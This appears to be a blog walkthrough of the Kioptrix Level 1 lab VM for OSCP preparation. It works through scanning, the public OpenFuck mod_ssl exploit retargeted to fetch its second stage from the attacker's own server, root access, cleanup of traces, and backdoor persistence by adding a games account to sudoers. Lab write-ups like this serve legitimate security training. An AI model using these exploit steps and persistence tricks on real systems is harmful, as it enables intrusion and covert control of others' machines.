Kioptrix Level 1 Walkthrough - Part 1 (mod_ssl) (OSCP Prep)

Introduction

The Kioptrix line of vulnerable virtual machines from V u lnHub are beginner-friendly boxes that provide novices a gentle introduction to the world of penetration testing.

Kioptrix Level 1 is the first in this series and explores the very basics of scanning, enumeration, vulnerability discovery, and exploitation.

Before We Begin

Kioptrix Level 1 was released in 2010. Because of its age, there are a few quirks that need to be worked out before we can begin attacking this machine.

Modifying the Virtual Network Adapter

The first problem we will run into has to do with the virtual network adapter of the machine. Kioptrix is notoriously disobedient when trying to modify its network configuration at the VM level. By default, it will use a bridged networking setup. This is not ideal, particularly for a vulnerable machine: we do not want to expose it to our LAN. Simply modifying the network adapter from VMWare’s settings GUI will not work, as Kioptrix will revert to its default bridged configuration on startup.

To resolve this issue, we must manually edit the VMX configuration file. See How to Change the Virtual Network Adapter Configuration in Kioptrix for details.

Outdated SMB

Another issue with Kioptrix involves its use of an outdated SMB protocol. Refer to part 2 for more information.

Outdated SSH Configuration

If you attempt to SSH into Kioptrix from a modern machine, you may run into a compatibility error:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ssh root@10.0.10.100
Unable to negotiate with 10.0.10.100 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

To resolve this issue, you’ll need to create (or modify) an SSH configuration file in your home directory at ~/.ssh/config. Add the following lines:

Host 10.0.10.100
        KexAlgorithms +diffie-hellman-group1-sha1
        ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc

Be sure to replace the IP address with the appropriate IP of the Kioptrix machine on your own virtual network. Now try to SSH in again, and we should get to a password prompt:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ssh root@10.0.10.100
root@10.0.10.100's password:

After we have Kioptrix connected to the correct network, we are ready to begin the attack.

Tools

In the process of this attack, we will need a few tools. Namely, we will need a Linux box. I will use Kali in this writeup, but you can use any distribution you like.

Some of the tools we will need include:

nmap
rustscan
searchsploit
GCC
A text editor. I’ll use Doom Emacs

Host Discovery

Before we can get to work on the Kioptrix box, we must first determine its IP address on our network. There are various ways to do this, but I will use a simple nmap ping scan:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ nmap -sP -n 10.0.10.0/24

Kioptrix host discovery with `nmap` ping scan

In my network, 10.0.10.2 is the VMWare virtual network gateway, and 10.0.10.10 is the static IP I’ve given my Kali box.

We can see the Kioptrix machine is found at IP 10.0.10.100 on my virtual network (your results will vary depending on your virtual network configuration).

Scanning and Enumeration

Next, we’ll scan for open ports on the Kioptrix machine. For this, I’ll use the excellent tool rustscan. rustscan is a modern port scanner that will very quickly locate any open ports on a target machine, then automatically invoke nmap to perform a more in-depth scan of the individual ports which were found to be open.

To perform the scan, I’ll use the following command:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ rustscan -u5000 -a10.0.10.100 -- -sC -sV -oA scans/nmap-tcp

Note that I’ve used the -oA option of nmap to output the results to a file.

Once rustscan has begun its nmap scan, we will have to wait some time before we have the results. In the meantime, we can begin some enumeration of the discovered ports.

The first thing we notice is the open port 80, suggesting the VM is running a web server. Fire up a web browser, and navigate to the IP of your Kioptrix machine.

The Apache Test Page running on Kioptrix port 80

Not too much interesting here. One useful bit of information we gather is the machine seems to be running Red Hat. This confirms the nmap scan results.

We could try to brute force some files and directories with a tool such as gobuster, but in this case, we will start with a nikto scan:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ nikto -h http://10.0.10.100

We will have to dig a bit through the nikto scan output to find anything useful. One thing that catches the eye is a mod_ssl/2.8.4 remote buffer overflow which may allow a remote shell:

mod_ssl/2.8.4 possible remote shell vulnerability

Exploitation

Let’s dig deeper into this potential attack vector. We can use searchsploit to search for existing exploits:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ searchsploit mod_ssl

Searching for mod_ssl exploits with `searchsploit`

The vulgarly-named OpenFuckV2 exploit looks promising. Let’s mirror it to our local working directory and rename it:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ searchsploit -m unix/remote/47080.c

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ mv 47080.c exploit.c

Next, we can attempt a standard compilation, but it fails:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ gcc -o exploit exploit.c

From the errors, it looks like we need to link a library. We can find the correct compilation syntax at the beginning of the exploit.c file:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ gcc -o exploit exploit.c -lcrypto

It works! If we now run the exploit without arguments, we can determine the correct usage:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ./exploit

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./exploit target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)

We already know the IP. The SSL port is the typical 443. For the -c option, we will follow the hint and use -c 50. This just leaves the target parameter.

Fortunately, the exploit provides a long list of targets. We can use grep to home in on an appropriate target.

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ./exploit | grep -i 'redhat.*apache.1.3.20'
        0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
        0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

We see we have two potential target options: 0x6a and 0x6b. Let’s try 0x6a first:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ./exploit 0x6a 10.0.10.100 443 -c 50

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
Good Bye!

No luck. Let’s try the 0x6b target:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ./exploit 0x6b 10.0.10.100 443 -c 50

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo 
--20:13:59--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$

This is interesting. We did manage a shell on the machine; however, this is not the root shell we expected. We can verify this with the id command:

bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

So we have a shell as the apache user. It’s better than nothing, but we want root!

Upon closer examination of the exploit’s output, it seems the second-stage exploit could not be downloaded. It looks like the URL is no longer valid.

A simple way to resolve this issue is to locate the correct exploit, download it to our local attack box, and serve it up on a temporary HTTP server. We can then modify the URL in the exploit source code to point to our local server, and recompile.

We can see the filename of the second-stage exploit is ptrace-kmod.c. A quick search will locate a copy of this file at https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/0304-exploits/ptrace-kmod.c.

Let’s download this file to our attack box, and serve it up:

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ wget https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/0304-exploits/ptrace-kmod.c
--2021-07-31 19:18:07--  https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/0304-exploits/ptrace-kmod.c
Resolving github.com (github.com)... 140.82.114.3
Connecting to github.com (github.com)|140.82.114.3|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘ptrace-kmod.c’

ptrace-kmod.c.1                 [ <=>                                        ] 167.66K  --.-KB/s    in 0.06s   

2021-07-31 19:18:08 (2.80 MB/s) - ‘ptrace-kmod.c.1’ saved [171679]


┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ python3 -m http.server                                                                         
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

We also need to modify the URL in the exploit.c file.

If we search for the original URL in the source, we find the following line:

#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"

Recompile the exploit, and run it again (make sure your HTTP server is still running):

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ gcc -o exploit exploit.c -lcrypto                                                                     130 ⨯

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ./exploit 0x6b 10.0.10.100 443 -c 50

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
cc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; -kmod.c; g 
--20:27:13--  http://10.0.10.10:8000/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to 10.0.10.10:8000... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

    0K ...                                                   100% @ 225.24 KB/s

20:27:13 (225.24 KB/s) - `ptrace-kmod.c' saved [3921/3921]

gcc: file path prefix `/usr/bin' never used
[+] Attached to 6293
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...

We don’t see a prompt, only a blank line. Do we have a shell? Let’s try some commands:

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
hostname
kioptrix.level1

And we have root!

Post-Exploitation

Quickly, before we go any further, let’s clean up a bit. The exploit made some noise in the /tmp directory, so let’s silence that.

cd /tmp
ls
exploit
rm exploit
ls -al
total 2
drwxrwxrwt    2 root     root         1024 Jul 31 20:32 .
drwxr-xr-x   19 root     root         1024 Jul 31 19:48 ..

Once we have obtained root access to the machine, we will create a persistent way to access the machine with sudo privileges. We will also allow ourselves SSH access for a better shell.

We will start by modifying an existing system user account. To find available accounts, check the contents of /etc/passwd:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nolcat /etc/passwd
ogin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash

We will use the games account in this example.

First, I will change the default shell for the games user so we can log in through SSH. Then I will give him a password. I will use it here (shout out to the classic, WarGames!).

chsh games
/bin/bash
Changing shell for games.
New shell [/sbin/nologin]: Shell changed.
passwd games
New password: joshua
BAD PASSWORD: it is based on a dictionary word
Retype new password: joshua
Changing password for user games
passwd: all authentication tokens updated successfully

grep games /etc/passwd
games:x:12:100:games:/usr/games:/bin/bash

At this point, we should be able to log in as the games user. Let’s try to SSH in (make sure you have modified your SSH configuration for compatibility with this older machine. See the “Before We Begin” section at the beginning of this writeup for more information):

┌──(ori0n㉿kali)-[~/kioptrix1]
└─$ ssh games@10.0.10.100
games@10.0.10.100's password: 
bash-2.05$ id
uid=12(games) gid=100(users) groups=100(users)
bash-2.05$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these two things:

        #1) Respect the privacy of others.
        #2) Think before you type.

Password:
Sorry, user games may not run sudo on kioptrix.

We can log in, but we still need to give ourselves sudo privileges.

From our root shell, we will need to modify the /etc/sudoers file to add our compromised games account.

NOTE: It is EXTREMELY IMPORTANT that you use the >> operator — not the > operator — while appending to the /etc/sudoers file. Failure to do so will cause the entire file to be overwritten with your single line. It is a good idea to back up the file before attempting to modify it.

echo games ALL=(ALL) ALL >> /etc/sudoers
tail /etc/sudoers

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL) ALL
games ALL=(ALL) ALL

Now let’s see if we can use sudo properly from our games account:

bash-2.05$ sudo -l
Password:
User games may run the following commands on this host:
    (ALL) ALL
bash-2.05$ sudo -s
bash-2.05# id
uid=0(root) gid=0(root) groups=100(users)

And we have persistent root access!

Capturing the Flag

Now that the exploitation process is complete, we can freely peruse the compromised system. It turns out there is a sort of “flag” on the Kioptrix machine in the root mail spool:

bash-2.05# cd /var/spool/mail/
bash-2.05# ls -l
total 1
-rw-rw----    1 harold   harold          0 Sep 26  2009 harold
-rw-rw----    1 john     john            0 Sep 26  2009 john
-rw-rw----    1 nfsnobod nfsnobod        0 Sep 26  2009 nfsnobody
-rw-------    1 root     root         1005 Jul 31 19:53 root
bash-2.05# cat root
From root  Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptix.level1>
Received: (from root@localhost)
        by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
        for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

Next Steps

You have successfully compromised Kioptrix Level 1! Congratulations!

It turns out there is another attack vector we can use to solve this box using an SMB exploit. We will cover this route in Kioptrix Level 1 Walkthrough – Part 2 (SMB).

Kioptrix Level 1 Walkthrough – Part 1 (mod_ssl) (OSCP Prep)